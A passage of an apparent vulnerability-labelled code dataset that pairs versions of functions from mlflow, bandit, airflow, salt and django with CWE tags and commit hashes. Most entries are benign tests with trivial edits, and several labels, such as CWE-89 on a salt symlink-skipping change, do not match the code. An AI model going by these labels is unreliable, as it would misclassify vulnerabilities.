            with mlflow.start_run(experiment_id=""43""):
                cr_body = message_to_json(
                    CreateRun(
                        experiment_id=""43"",
                        user_id=user_name,
                        start_time=13579000,
                        tags=[
                            ProtoRunTag(key=""mlflow.source.name"", value=source_name),
                            ProtoRunTag(key=""mlflow.source.type"", value=""LOCAL""),
                            ProtoRunTag(key=""mlflow.user"", value=user_name),
                        ],
                    )
                )
                expected_kwargs = self._args(creds, ""runs/create"", ""POST"", cr_body)

                assert mock_http.call_count == 1
                actual_kwargs = mock_http.call_args[1]

                # Test the passed tag values separately from the rest of the request
                # Tag order is inconsistent on Python 2 and 3, but the order does not matter
                expected_tags = expected_kwargs[""json""].pop(""tags"")
                actual_tags = actual_kwargs[""json""].pop(""tags"")
                assert sorted(expected_tags, key=lambda t: t[""key""]) == sorted(
                    actual_tags, key=lambda t: t[""key""]
                )
                assert expected_kwargs == actual_kwargs

        with mock_http_request() as mock_http:
            store.log_param(""some_uuid"", Param(""k1"", ""v1""))
            body = message_to_json(
                LogParam(run_uuid=""some_uuid"", run_id=""some_uuid"", key=""k1"", value=""v1"")
            )
            self._verify_requests(mock_http, creds, ""runs/log-parameter"", ""POST"", body)

        with mock_http_request() as mock_http:
            store.set_experiment_tag(""some_id"", ExperimentTag(""t1"", ""abcd"" * 1000))
            body = message_to_json(
                SetExperimentTag(experiment_id=""some_id"", key=""t1"", value=""abcd"" * 1000)
            )
            self._verify_requests(mock_http, creds, ""experiments/set-experiment-tag"", ""POST"", body)

        with mock_http_request() as mock_http:
            store.set_tag(""some_uuid"", RunTag(""t1"", ""abcd"" * 1000))
            body = message_to_json(
                SetTag(run_uuid=""some_uuid"", run_id=""some_uuid"", key=""t1"", value=""abcd"" * 1000)
            )
            self._verify_requests(mock_http, creds, ""runs/set-tag"", ""POST"", body)

        with mock_http_request() as mock_http:
            store.delete_tag(""some_uuid"", ""t1"")
            body = message_to_json(DeleteTag(run_id=""some_uuid"", key=""t1""))
            self._verify_requests(mock_http, creds, ""runs/delete-tag"", ""POST"", body)

        with mock_http_request() as mock_http:
            store.log_metric(""u2"", Metric(""m1"", 0.87, 12345, 3))
            body = message_to_json(
                LogMetric(run_uuid=""u2"", run_id=""u2"", key=""m1"", value=0.87, timestamp=12345, step=3)
            )
            self._verify_requests(mock_http, creds, ""runs/log-metric"", ""POST"", body)

        with mock_http_request() as mock_http:
            metrics = [
                Metric(""m1"", 0.87, 12345, 0),
                Metric(""m2"", 0.49, 12345, -1),
                Metric(""m3"", 0.58, 12345, 2),
            ]
            params = [Param(""p1"", ""p1val""), Param(""p2"", ""p2val"")]
            tags = [RunTag(""t1"", ""t1val""), RunTag(""t2"", ""t2val"")]
            store.log_batch(run_id=""u2"", metrics=metrics, params=params, tags=tags)
            metric_protos = [metric.to_proto() for metric in metrics]
            param_protos = [param.to_proto() for param in params]
            tag_protos = [tag.to_proto() for tag in tags]
            body = message_to_json(
                LogBatch(run_id=""u2"", metrics=metric_protos, params=param_protos, tags=tag_protos)
            )
            self._verify_requests(mock_http, creds, ""runs/log-batch"", ""POST"", body)

        with mock_http_request() as mock_http:
            store.delete_run(""u25"")
            self._verify_requests(
                mock_http, creds, ""runs/delete"", ""POST"", message_to_json(DeleteRun(run_id=""u25""))
            )

        with mock_http_request() as mock_http:
            store.restore_run(""u76"")
            self._verify_requests(
                mock_http, creds, ""runs/restore"", ""POST"", message_to_json(RestoreRun(run_id=""u76""))
            )

        with mock_http_request() as mock_http:
            store.delete_experiment(""0"")
            self._verify_requests(
                mock_http,
                creds,
                ""experiments/delete"",
                ""POST"",
                message_to_json(DeleteExperiment(experiment_id=""0"")),
            )

        with mock_http_request() as mock_http:
            store.restore_experiment(""0"")
            self._verify_requests(
                mock_http,
                creds,
                ""experiments/restore"",
                ""POST"",
                message_to_json(RestoreExperiment(experiment_id=""0"")),
            )

        with mock.patch(""mlflow.utils.rest_utils.http_request"") as mock_http:
            response = mock.MagicMock()
            response.status_code = 200
            response.text = '{""runs"": [""1a"", ""2b"", ""3c""], ""next_page_token"": ""67890fghij""}'
            mock_http.return_value = response
            result = store.search_runs(
                [""0"", ""1""],
                ""params.p1 = 'a'"",
                ViewType.ACTIVE_ONLY,
                max_results=10,
                order_by=[""a""],
                page_token=""12345abcde"",
            )

            expected_message = SearchRuns(
                experiment_ids=[""0"", ""1""],
                filter=""params.p1 = 'a'"",
                run_view_type=ViewType.to_proto(ViewType.ACTIVE_ONLY),
                max_results=10,
                order_by=[""a""],
                page_token=""12345abcde"",
            )
            self._verify_requests(
                mock_http, creds, ""runs/search"", ""POST"", message_to_json(expected_message)
            )
            assert result.token == ""67890fghij""

        with mock_http_request() as mock_http:
            run_id = ""run_id""
            m = Model(artifact_path=""model/path"", run_id=""run_id"", flavors={""tf"": ""flavor body""})
            store.record_logged_model(""run_id"", m)
            expected_message = LogModel(run_id=run_id, model_json=m.to_json())
            self._verify_requests(
                mock_http, creds, ""runs/log-model"", ""POST"", message_to_json(expected_message)
            )",CWE-703,mlflow/mlflow,289fd053c11388b4b83569caad00fe92262779d9,"def test_requestor(self):
        creds = MlflowHostCreds(""https://hello"")
        store = RestStore(lambda: creds)

        user_name = ""mock user""
        source_name = ""rest test""

        source_name_patch = mock.patch(
            ""mlflow.tracking.context.default_context._get_source_name"", return_value=source_name
        )
        source_type_patch = mock.patch(
            ""mlflow.tracking.context.default_context._get_source_type"",
            return_value=SourceType.LOCAL,
        )
        with mock_http_request() as mock_http, mock.patch(
            ""mlflow.tracking._tracking_service.utils._get_store"", return_value=store
        ), mock.patch(
            ""mlflow.tracking.context.default_context._get_user"", return_value=user_name
        ), mock.patch(
            ""time.time"", return_value=13579
        ), source_name_patch, source_type_patch:
            with mlflow.start_run(experiment_id=""43""):
                cr_body = message_to_json(
                    CreateRun(
                        experiment_id=""43"",
                        user_id=user_name,
                        start_time=13579000,
                        tags=[
                            ProtoRunTag(key=""mlflow.source.name"", value=source_name),
                            ProtoRunTag(key=""mlflow.source.type"", value=""LOCAL""),
                            ProtoRunTag(key=""mlflow.user"", value=user_name),
                        ],
                    )
                )
                expected_kwargs = self._args(creds, ""runs/create"", ""POST"", cr_body)

                assert mock_http.call_count == 1
                actual_kwargs = mock_http.call_args[1]

                # Test the passed tag values separately from the rest of the request
                # Tag order is inconsistent on Python 2 and 3, but the order does not matter
                expected_tags = expected_kwargs[""json""].pop(""tags"")
                actual_tags = actual_kwargs[""json""].pop(""tags"")
                assert sorted(expected_tags, key=lambda t: t[""key""]) == sorted(
                    actual_tags, key=lambda t: t[""key""]
                )
                assert expected_kwargs == actual_kwargs

        with mock_http_request() as mock_http:
            store.log_param(""some_uuid"", Param(""k1"", ""v1""))
            body = message_to_json(
                LogParam(run_uuid=""some_uuid"", run_id=""some_uuid"", key=""k1"", value=""v1"")
            )
            self._verify_requests(mock_http, creds, ""runs/log-parameter"", ""POST"", body)

        with mock_http_request() as mock_http:
            store.set_experiment_tag(""some_id"", ExperimentTag(""t1"", ""abcd"" * 1000))
            body = message_to_json(
                SetExperimentTag(experiment_id=""some_id"", key=""t1"", value=""abcd"" * 1000)
            )
            self._verify_requests(mock_http, creds, ""experiments/set-experiment-tag"", ""POST"", body)

        with mock_http_request() as mock_http:
            store.set_tag(""some_uuid"", RunTag(""t1"", ""abcd"" * 1000))
            body = message_to_json(
                SetTag(run_uuid=""some_uuid"", run_id=""some_uuid"", key=""t1"", value=""abcd"" * 1000)
            )
            self._verify_requests(mock_http, creds, ""runs/set-tag"", ""POST"", body)

        with mock_http_request() as mock_http:
            store.delete_tag(""some_uuid"", ""t1"")
            body = message_to_json(DeleteTag(run_id=""some_uuid"", key=""t1""))
            self._verify_requests(mock_http, creds, ""runs/delete-tag"", ""POST"", body)

        with mock_http_request() as mock_http:
            store.log_metric(""u2"", Metric(""m1"", 0.87, 12345, 3))
            body = message_to_json(
                LogMetric(run_uuid=""u2"", run_id=""u2"", key=""m1"", value=0.87, timestamp=12345, step=3)
            )
            self._verify_requests(mock_http, creds, ""runs/log-metric"", ""POST"", body)

        with mock_http_request() as mock_http:
            metrics = [
                Metric(""m1"", 0.87, 12345, 0),
                Metric(""m2"", 0.49, 12345, -1),
                Metric(""m3"", 0.58, 12345, 2),
            ]
            params = [Param(""p1"", ""p1val""), Param(""p2"", ""p2val"")]
            tags = [RunTag(""t1"", ""t1val""), RunTag(""t2"", ""t2val"")]
            store.log_batch(run_id=""u2"", metrics=metrics, params=params, tags=tags)
            metric_protos = [metric.to_proto() for metric in metrics]
            param_protos = [param.to_proto() for param in params]
            tag_protos = [tag.to_proto() for tag in tags]
            body = message_to_json(
                LogBatch(run_id=""u2"", metrics=metric_protos, params=param_protos, tags=tag_protos)
            )
            self._verify_requests(mock_http, creds, ""runs/log-batch"", ""POST"", body)

        with mock_http_request() as mock_http:
            store.delete_run(""u25"")
            self._verify_requests(
                mock_http, creds, ""runs/delete"", ""POST"", message_to_json(DeleteRun(run_id=""u25""))
            )

        with mock_http_request() as mock_http:
            store.restore_run(""u76"")
            self._verify_requests(
                mock_http, creds, ""runs/restore"", ""POST"", message_to_json(RestoreRun(run_id=""u76""))
            )

        with mock_http_request() as mock_http:
            store.delete_experiment(""0"")
            self._verify_requests(
                mock_http,
                creds,
                ""experiments/delete"",
                ""POST"",
                message_to_json(DeleteExperiment(experiment_id=""0"")),
            )

        with mock_http_request() as mock_http:
            store.restore_experiment(""0"")
            self._verify_requests(
                mock_http,
                creds,
                ""experiments/restore"",
                ""POST"",
                message_to_json(RestoreExperiment(experiment_id=""0"")),
            )

        with mock.patch(""mlflow.utils.rest_utils.http_request"") as mock_http:
            response = mock.MagicMock()
            response.status_code = 200
            response.text = '{""runs"": [""1a"", ""2b"", ""3c""], ""next_page_token"": ""67890fghij""}'
            mock_http.return_value = response
            result = store.search_runs(
                [""0"", ""1""],
                ""params.p1 = 'a'"",
                ViewType.ACTIVE_ONLY,
                max_results=10,
                order_by=[""a""],
                page_token=""12345abcde"",
            )

            expected_message = SearchRuns(
                experiment_ids=[""0"", ""1""],
                filter=""params.p1 = 'a'"",
                run_view_type=ViewType.to_proto(ViewType.ACTIVE_ONLY),
                max_results=10,
                order_by=[""a""],
                page_token=""12345abcde"",
            )
            self._verify_requests(
                mock_http, creds, ""runs/search"", ""POST"", message_to_json(expected_message)
            )
            assert result.token == ""67890fghij""

        with mock_http_request() as mock_http:
            run_id = ""run_id""
            m = Model(artifact_path=""model/path"", run_id=""run_id"", flavors={""tf"": ""flavor body""})
            result = store.record_logged_model(""run_id"", m)
            expected_message = LogModel(run_id=run_id, model_json=m.to_json())
            self._verify_requests(
                mock_http, creds, ""runs/log-model"", ""POST"", message_to_json(expected_message)
            )"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/config.py,0,"def convert_names_to_ids(self):
        """"""Convert test names to IDs, unknown names are left unchanged.""""""
        extman = extension_loader.MANAGER

        updated_profiles = {}
        for name, profile in (self.get_option(""profiles"") or {}).items():
            # NOTE(tkelsey): can't use default of get() because value is
            # sometimes explicitly 'None', for example when the list is given
            # in yaml but not populated with any values.
            include = {
                (extman.get_test_id(i) or i)
                for i in (profile.get(""include"") or [])
            }
            exclude = {
                (extman.get_test_id(i) or i)
                for i in (profile.get(""exclude"") or [])
            }
            updated_profiles[name] = {""include"": include, ""exclude"": exclude}
        return updated_profiles",UNKNOWN,PyCQA/bandit,6d1d11c01e7824c04cc5005b4fe6b932c6999b18,"def convert_names_to_ids(self):
        """"""Convert test names to IDs, unknown names are left unchanged.""""""
        extman = extension_loader.MANAGER

        updated_profiles = {}
        for name, profile in (self.get_option(""profiles"") or {}).items():
            # NOTE(tkelsey): can't use default of get() because value is
            # sometimes explicity 'None', for example when the list if given in
            # yaml but not populated with any values.
            include = {
                (extman.get_plugin_id(i) or i)
                for i in (profile.get(""include"") or [])
            }
            exclude = {
                (extman.get_plugin_id(i) or i)
                for i in (profile.get(""exclude"") or [])
            }
            updated_profiles[name] = {""include"": include, ""exclude"": exclude}
        return updated_profiles"
,UNKNOWN,UNKNOWN,tests/store/model_registry/test_sqlalchemy_store.py,1,"def test_update_model_version(self):
        name = ""test_for_update_MV""
        self._rm_maker(name)
        mv1 = self._mv_maker(name)
        mvd1 = self.store.get_model_version(name=mv1.name, version=mv1.version)
        self.assertEqual(mvd1.name, name)
        self.assertEqual(mvd1.version, 1)
        self.assertEqual(mvd1.current_stage, ""None"")

        # update stage
        self.store.transition_model_version_stage(
            name=mv1.name, version=mv1.version, stage=""Production"", archive_existing_versions=False
        )
        mvd2 = self.store.get_model_version(name=mv1.name, version=mv1.version)
        self.assertEqual(mvd2.name, name)
        self.assertEqual(mvd2.version, 1)
        self.assertEqual(mvd2.current_stage, ""Production"")
        self.assertEqual(mvd2.description, None)

        # update description
        self.store.update_model_version(
            name=mv1.name, version=mv1.version, description=""test model version""
        )
        mvd3 = self.store.get_model_version(name=mv1.name, version=mv1.version)
        self.assertEqual(mvd3.name, name)
        self.assertEqual(mvd3.version, 1)
        self.assertEqual(mvd3.current_stage, ""Production"")
        self.assertEqual(mvd3.description, ""test model version"")

        # only valid stages can be set
        with self.assertRaisesRegex(
            MlflowException,
            ""Invalid Model Version stage: unknown. ""
            ""Value must be one of None, Staging, Production, Archived."",
        ) as exception_context:
            self.store.transition_model_version_stage(
                mv1.name, mv1.version, stage=""unknown"", archive_existing_versions=False
            )
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # stages are case-insensitive and auto-corrected to system stage names
        for stage_name in [""STAGING"", ""staging"", ""StAgInG""]:
            self.store.transition_model_version_stage(
                name=mv1.name,
                version=mv1.version,
                stage=stage_name,
                archive_existing_versions=False,
            )
            mvd5 = self.store.get_model_version(name=mv1.name, version=mv1.version)
            self.assertEqual(mvd5.current_stage, ""Staging"")",CWE-703,mlflow/mlflow,8433409f1d470bf2756dc3a77cf666572edf26ca,"def test_update_model_version(self):
        name = ""test_for_update_MV""
        self._rm_maker(name)
        mv1 = self._mv_maker(name)
        mvd1 = self.store.get_model_version(name=mv1.name, version=mv1.version)
        self.assertEqual(mvd1.name, name)
        self.assertEqual(mvd1.version, 1)
        self.assertEqual(mvd1.current_stage, ""None"")

        # update stage
        self.store.transition_model_version_stage(
            name=mv1.name, version=mv1.version, stage=""Production"", archive_existing_versions=False
        )
        mvd2 = self.store.get_model_version(name=mv1.name, version=mv1.version)
        self.assertEqual(mvd2.name, name)
        self.assertEqual(mvd2.version, 1)
        self.assertEqual(mvd2.current_stage, ""Production"")
        self.assertEqual(mvd2.description, None)

        # update description
        self.store.update_model_version(
            name=mv1.name, version=mv1.version, description=""test model version""
        )
        mvd3 = self.store.get_model_version(name=mv1.name, version=mv1.version)
        self.assertEqual(mvd3.name, name)
        self.assertEqual(mvd3.version, 1)
        self.assertEqual(mvd3.current_stage, ""Production"")
        self.assertEqual(mvd3.description, ""test model version"")

        # only valid stages can be set
        with self.assertRaisesRegex(
            MlflowException, r""Invalid Model Version stage unknown""
        ) as exception_context:
            self.store.transition_model_version_stage(
                mv1.name, mv1.version, stage=""unknown"", archive_existing_versions=False
            )
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # stages are case-insensitive and auto-corrected to system stage names
        for stage_name in [""STAGING"", ""staging"", ""StAgInG""]:
            self.store.transition_model_version_stage(
                name=mv1.name,
                version=mv1.version,
                stage=stage_name,
                archive_existing_versions=False,
            )
            mvd5 = self.store.get_model_version(name=mv1.name, version=mv1.version)
            self.assertEqual(mvd5.current_stage, ""Staging"")"
,UNKNOWN,UNKNOWN,tests/always/test_project_structure.py,1,"def test_missing_examples(self):
        """"""
        Assert that all operators defined under operators, sensors and transfers directories
        are used in any of the example dags
        """"""
        classes = self.list_of_classes()
        assert len(classes) != 0, ""Failed to retrieve operators, override class_paths if needed""
        classes = set(classes.keys())
        for example in self.example_paths():
            classes -= get_imports_from_file(example)

        covered_but_omitted = self.MISSING_EXAMPLES_FOR_CLASSES - classes
        classes -= self.MISSING_EXAMPLES_FOR_CLASSES
        classes -= self.DEPRECATED_CLASSES
        classes -= self.BASE_CLASSES
        if set() != classes:
            print(""Classes with missing examples:"")
            print_sorted(classes)
            pytest.fail(
                ""Not all classes are covered with example dags. Update self.MISSING_EXAMPLES_FOR_CLASSES ""
                ""if you want to skip this error""
            )
        if set() != covered_but_omitted:
            print(""Covered classes that are listed as missing:"")
            print_sorted(covered_but_omitted)
            pytest.fail(""Operator listed in missing examples but is used in example dag"")",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_missing_examples(self):
        """"""
        Assert that all operators defined under operators, sensors and transfers directories
        are used in any of the example dags
        """"""
        classes = self.list_of_classes()
        assert 0 != len(classes), ""Failed to retrieve operators, override class_paths if needed""
        classes = set(classes.keys())
        for example in self.example_paths():
            classes -= get_imports_from_file(example)

        covered_but_omitted = self.MISSING_EXAMPLES_FOR_CLASSES - classes
        classes -= self.MISSING_EXAMPLES_FOR_CLASSES
        classes -= self.DEPRECATED_CLASSES
        classes -= self.BASE_CLASSES
        if set() != classes:
            print(""Classes with missing examples:"")
            print_sorted(classes)
            pytest.fail(
                ""Not all classes are covered with example dags. Update self.MISSING_EXAMPLES_FOR_CLASSES ""
                ""if you want to skip this error""
            )
        if set() != covered_but_omitted:
            print(""Covered classes that are listed as missing:"")
            print_sorted(covered_but_omitted)
            pytest.fail(""Operator listed in missing examples but is used in example dag"")"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pipelines/steps/predict.py,0,"def _build_profiles_and_card(self, scored_df) -> BaseCard:
        # Build profiles for scored dataset
        card = BaseCard(self.pipeline_name, self.name)

        if not self.skip_data_profiling:
            _logger.info(""Profiling ingested dataset"")
            scored_dataset_profile = get_pandas_data_profile(scored_df, ""Profile of Scored Dataset"")

            # Optional tab : data profile for scored data:
            card.add_tab(""Scored Data Profile"", ""{{PROFILE}}"").add_pandas_profile(
                ""PROFILE"", scored_dataset_profile
            )

        # Tab #1/2: run summary.
        (
            card.add_tab(
                ""Run Summary"",
                """"""
                {{ SCORED_DATA_NUM_ROWS }}
                {{ EXE_DURATION }}
                {{ LAST_UPDATE_TIME }}
                """""",
            ).add_markdown(
                ""SCORED_DATA_NUM_ROWS"",
                f""**Number of scored dataset rows:** `{len(scored_df)}`"",
            )
        )

        return card",,mlflow/mlflow,7219771141c7140fd68f6ed3a5b649e5ad1dab13,"def _build_profiles_and_card(self, scored_df) -> BaseCard:
        # Build profiles for scored dataset
        card = BaseCard(self.pipeline_name, self.name)

        if not self.skip_data_profiling:
            _logger.info(""Profiling ingested dataset"")
            scored_dataset_profile = get_pandas_data_profile(scored_df, ""Profile of Scored Dataset"")

            # Optional tab : data profile for scored data:
            card.add_tab(""Scored Data Profile"", ""{{PROFILE}}"").add_pandas_profile(
                ""PROFILE"", scored_dataset_profile
            )

        # Tab #1/2: run summary.
        (
            card.add_tab(
                ""Run Summary"",
                """"""
                {{ SCORED_DATA_NUM_ROWS }}
                {{ EXE_DURATION }}
                {{ LAST_UPDATE_TIME }}
                """""",
            ).add_markdown(
                ""SCORED_DATA_NUM_ROWS"",
                f""**Number of scored dataset rows:** `{len(scored_df)}`"",
            )
        )

        return card"
,UNKNOWN,UNKNOWN,salt/modules/inspectlib/collector.py,1,"def _scan_payload(self):
        '''
        Scan the system.
        '''
        # Get ignored points
        allowed = list()
        self.db.cursor.execute(""SELECT path FROM inspector_allowed"")
        for alwd_path in self.db.cursor.fetchall():
            if os.path.exists(alwd_path[0]):
                allowed.append(alwd_path[0])

        ignored = list()
        if not allowed:
            self.db.cursor.execute(""SELECT path FROM inspector_ignored"")
            for ign_path in self.db.cursor.fetchall():
                ignored.append(ign_path[0])

        all_files = list()
        all_dirs = list()
        all_links = list()
        for entry_path in [pth for pth in (allowed or os.listdir(""/"")) if pth]:
            if entry_path[0] != ""/"":
                entry_path = ""/{0}"".format(entry_path)
            if entry_path in ignored or os.path.islink(entry_path):
                continue
            e_files, e_dirs, e_links = self._get_all_files(entry_path, *ignored)
            all_files.extend(e_files)
            all_dirs.extend(e_dirs)
            all_links.extend(e_links)

        return self._get_unmanaged_files(self._get_managed_files(), (all_files, all_dirs, all_links,))",CWE-89,saltstack/salt,aec4c7d5910e2c7fb2055da280b519e65996bbb2,"def _scan_payload(self):
        '''
        Scan the system.
        '''
        # Get ignored points
        allowed = list()
        self.db.cursor.execute(""SELECT path FROM inspector_allowed"")
        for alwd_path in self.db.cursor.fetchall():
            if os.path.exists(alwd_path[0]):
                allowed.append(alwd_path[0])

        ignored = list()
        if not allowed:
            self.db.cursor.execute(""SELECT path FROM inspector_ignored"")
            for ign_path in self.db.cursor.fetchall():
                ignored.append(ign_path[0])

        all_files = list()
        all_dirs = list()
        all_links = list()
        for entry_path in [pth for pth in (allowed or os.listdir(""/"")) if pth]:
            if entry_path[0] != ""/"":
                entry_path = ""/{0}"".format(entry_path)
            if entry_path in ignored:
                continue
            e_files, e_dirs, e_links = self._get_all_files(entry_path, *ignored)
            all_files.extend(e_files)
            all_dirs.extend(e_dirs)
            all_links.extend(e_links)

        return self._get_unmanaged_files(self._get_managed_files(), (all_files, all_dirs, all_links,))"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/migrations/test_autodetector.py,0,"def test_alter_fk_before_model_deletion(self):
        """"""
        Tests that ForeignKeys are altered _before_ the model they used to
        refer to are deleted.
        """"""
        # Make state
        before = self.make_project_state([self.author_name, self.publisher_with_author])
        after = self.make_project_state([self.aardvark_testapp, self.publisher_with_aardvark_author])
        autodetector = MigrationAutodetector(before, after)
        changes = autodetector._detect_changes()
        # Right number of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, [""CreateModel"", ""AlterField"", ""DeleteModel""])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name=""Aardvark"")
        self.assertOperationAttributes(changes, 'testapp', 0, 1, name=""author"")
        self.assertOperationAttributes(changes, 'testapp', 0, 2, name=""Author"")",CWE-Unknown,django/django,cb60d22bd94738174440f8d60a04c3d9c38636c9,"def test_alter_fk_before_model_deletion(self):
        """"""
        Tests that ForeignKeys are altered _before_ the model they used to
        refer to are deleted.
        """"""
        # Make state
        before = self.make_project_state([self.author_name, self.publisher_with_author])
        after = self.make_project_state([self.aardvark_testapp, self.publisher_with_aardvark_author])
        autodetector = MigrationAutodetector(before, after)
        changes = autodetector._detect_changes()
        # Right number of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, [""CreateModel"", ""AlterField"", ""DeleteModel""])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name=""Aardvark"")
        self.assertOperationAttributes(changes, 'testapp', 0, 1, name=""author"")
        self.assertOperationAttributes(changes, 'testapp', 0, 2, name=""Author"")"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/conftest.py,0,"def initialize_providers_manager():
    from airflow.providers_manager import ProvidersManager

    ProvidersManager().initialize_providers_configuration()",CWE-Unknown,apache/airflow,515179fe67c0c6bd8b693c5ab313f4a0cfbacea7,"def initialize_providers_manager():
    from airflow.providers_manager import ProvidersManager

    ProvidersManager().initialize_providers_configuration()"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_pyfunc_schema_enforcement.py,1,"def test_schema_enforcement_for_list_inputs():
    # Test Dict[str, scalar or List[str]]
    test_signature = {
        ""inputs"": '[{""type"": ""string"", ""name"": ""prompt"", ""required"": true}, '
        '{""type"": ""array"", ""items"": {""type"": ""string""}, '
        '""name"": ""stop"", ""required"": true}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""prompt"": ""this is the prompt"", ""stop"": [""a"", ""b""]}
    output = ""this is the output""
    assert signature == infer_signature(data, output)
    pd_data = pd.DataFrame([data])
    check = _enforce_schema(data, signature.inputs)
    pd.testing.assert_frame_equal(check, pd_data)

    # Test Dict[str, List[str]]
    test_signature = {
        ""inputs"": '[{""type"": ""array"", ""items"": {""type"": ""string""}, '
        '""name"": ""a"", ""required"": true}, '
        '{""type"": ""array"", ""items"": {""type"": ""string""}, '
        '""name"": ""b"", ""required"": true}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""a"": [""Hi there!""], ""b"": [""Hello there"", ""Bye!""]}
    assert signature == infer_signature(data, output)
    pd_data = pd.DataFrame([data])
    check = _enforce_schema(data, signature.inputs)
    pd.testing.assert_frame_equal(check, pd_data)

    # Test Dict[str, List[binary]] with bytes
    test_signature = {
        ""inputs"": '[{""type"": ""array"", ""items"": {""type"": ""binary""}, '
        '""name"": ""audio"", ""required"": true}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""audio"": [b""Hi I am a bytes string""]}
    assert signature == infer_signature(data, output)
    pd_data = pd.DataFrame([data])
    check = _enforce_schema(data, signature.inputs)
    pd.testing.assert_frame_equal(check, pd_data)

    # Test Dict[str, List[binary]] with base64 encoded
    test_signature = {
        ""inputs"": '[{""type"": ""array"", ""items"": {""type"": ""binary""}, '
        '""name"": ""audio"", ""required"": true}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""audio"": [base64.b64encode(b""Hi I am a bytes string"")]}
    assert signature == infer_signature(data, output)
    pd_data = pd.DataFrame([data])
    check = _enforce_schema(data, signature.inputs)
    pd.testing.assert_frame_equal(check, pd_data)

    # Test Dict[str, List[Any]]
    test_signature = {
        ""inputs"": '[{""type"": ""array"", ""items"": {""type"": ""long""}, '
        '""name"": ""a"", ""required"": true}, '
        '{""type"": ""array"", ""items"": {""type"": ""string""}, '
        '""name"": ""b"", ""required"": true}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""a"": [4, 5, 6], ""b"": [""a"", ""b"", ""c""]}
    assert signature == infer_signature(data, output)
    pd_data = pd.DataFrame([data])
    check = _enforce_schema(data, signature.inputs)
    pd.testing.assert_frame_equal(check, pd_data)

    # Test Dict[str, np.ndarray]
    test_signature = {
        ""inputs"": '[{""name"": ""a"", ""type"": ""tensor"", ""tensor-spec"": '
        '{""dtype"": ""int64"", ""shape"": [-1]}}, '
        '{""name"": ""b"", ""type"": ""tensor"", ""tensor-spec"": '
        '{""dtype"": ""str"", ""shape"": [-1]}}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""a"": np.array([1, 2, 3]), ""b"": np.array([""a"", ""b"", ""c""])}
    pd_check = _enforce_schema(data, signature.inputs)
    assert pd_check == data

    # Test Dict[str, np.ndarray] where array.size == 1
    test_signature = {
        ""inputs"": '[{""name"": ""a"", ""type"": ""tensor"", ""tensor-spec"": '
        '{""dtype"": ""int64"", ""shape"": [-1]}}, '
        '{""name"": ""b"", ""type"": ""tensor"", ""tensor-spec"": '
        '{""dtype"": ""str"", ""shape"": [-1]}}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""a"": np.array([12]), ""b"": np.array([""a""])}
    pd_check = _enforce_schema(data, signature.inputs)
    assert pd_check == data",CWE-703,mlflow/mlflow,5a171e96c19720fa1476e5830065ea16d31cb1cf,"def test_schema_enforcement_for_list_inputs():
    # Test Dict[str, scalar or List[str]]
    test_signature = {
        ""inputs"": '[{""type"": ""string"", ""name"": ""prompt"", ""required"": true}, '
        '{""type"": ""array"", ""items"": {""type"": ""string""}, '
        '""name"": ""stop"", ""required"": true}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""prompt"": ""this is the prompt"", ""stop"": [""a"", ""b""]}
    output = ""this is the output""
    assert signature == infer_signature(data, output)
    pd_data = pd.DataFrame([data])
    check = _enforce_schema(data, signature.inputs)
    pd.testing.assert_frame_equal(check, pd_data)

    # Test Dict[str, List[str]]
    test_signature = {
        ""inputs"": '[{""type"": ""array"", ""items"": {""type"": ""string""}, '
        '""name"": ""a"", ""required"": true}, '
        '{""type"": ""array"", ""items"": {""type"": ""string""}, '
        '""name"": ""b"", ""required"": true}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""a"": [""Hi there!""], ""b"": [""Hello there"", ""Bye!""]}
    assert signature == infer_signature(data, output)
    pd_data = pd.DataFrame([data])
    check = _enforce_schema(data, signature.inputs)
    pd.testing.assert_frame_equal(check, pd_data)

    # Test Dict[str, List[binary]] with bytes
    test_signature = {
        ""inputs"": '[{""type"": ""array"", ""items"": {""type"": ""binary""}, '
        '""name"": ""audio"", ""required"": true}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""audio"": [b""Hi I am a bytes string""]}
    assert signature == infer_signature(data, output)
    pd_data = pd.DataFrame([data])
    check = _enforce_schema(data, signature.inputs)
    pd.testing.assert_frame_equal(check, pd_data)

    # Test Dict[str, List[binary]] with base64 encoded
    test_signature = {
        ""inputs"": '[{""type"": ""array"", ""items"": {""type"": ""binary""}, '
        '""name"": ""audio"", ""required"": true}]',
        ""outputs"": '[{""type"": ""string"", ""required"": true}]',
    }
    signature = ModelSignature.from_dict(test_signature)
    data = {""audio"": [base64.b64encode(b""Hi I am a bytes string"")]}
    assert signature == infer_signature(data, output)
    pd_data = pd.DataFrame([data])
